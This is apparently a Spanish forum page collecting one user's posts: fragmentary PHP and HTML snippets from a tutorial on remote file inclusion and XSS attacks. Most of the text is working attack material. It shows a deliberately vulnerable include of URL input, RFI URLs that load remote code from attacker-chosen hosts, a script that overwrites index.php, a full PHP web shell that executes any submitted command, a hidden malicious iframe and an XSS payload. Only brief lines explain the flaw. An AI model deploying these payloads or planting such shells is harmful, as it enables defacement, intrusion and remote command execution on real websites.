Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
<?php
$var = $_GET["cont"];
include($var);
?>
<?php
$a = fopen("index.php","w");
$b = "<center><h1>Vulnerable a XSS</h1></center>";
fwite($a,$b);
?>
http://www.webvulnerable.com/rfi.php?cont=http://www.nuestrositio.net/vuln.txt
<?php
system("cd datos");
$a = system("dir");
echo $a;
?>
<html>
<head>
<title>Shell en php by Zhynar X</title>
</head>
<body>
<form action="cmd.php" method=post>
<center>
<h1>Consola de comandos en php</h1>
<h2>By Zhynar X</h2>
<br><br>
</center>
Comando: <input type=text name="cmd">
<br><br>
<input type=submit value="Enviar">
<br><br>
Respuesta del comando:<br>
<textarea cols="80" rows="30">
<?php
$com = $_POST["cmd"];
if (! $com) {
echo "No se ha escrito ningun comando";
} else {
$res = system($com);
echo $res;
}
?>
</textarea>
</body>
</html>
<form>
Lo que has escrito no se puede ver... <input type="hidden" value="texto escrito">
</form>
<iframe src="http://www.miweb.com/codigomalicioso.html"></iframe>
Forma 1----> include("web.html"); Así el documento no seria vulnerable porque no permite cambiar el archivo a incluir.
Forma 2----> include($variable); Esta es la forma vulnerable, ya que podemos modificar la variable mediante la URL.
<HTML>
<HEAD>
<TITLE> Prueva de RFI </TITLE>
</HEAD>
<BODY>
<A HREF="rfi.php?cont=hola.html">Hola!</A>
<BR><BR>
<A HREF="rfi.php?cont=adios.html">Adios!</A>
</BODY>
</HTML>
<?php
$var = $_GET["cont"];
include($var);
?>
http://www.webvuln.es/fri.php?cont=http://www.miweb.com/code.txt
<?php
echo "<h1>Vulnerable a RFI</h1>";
?>
<INPUT TYPE="text" VALUE="<?php echo $var ?>">
Citar
<INPUT TYPE="text" VALUE=""><SCRIPT>alert(5);</SCRIPT>">
<HTML>
<HEAD>
<TITLE>Practica XSS</TITLE>
</HEAD>
<BODY>
<A HREF="xss.php?var=hola">HOLA</A>
<BR><BR>
<A HREF="xss.php?var=adios">ADIOS</A>
</BODY>
</HTML>
<?php
$bug = $_GET["var"];
echo "Has escrito: ".$bug;
?>
http://www.webvuln.es/xss.php?var=lo que queramos
echo "Comentario por: ".$user;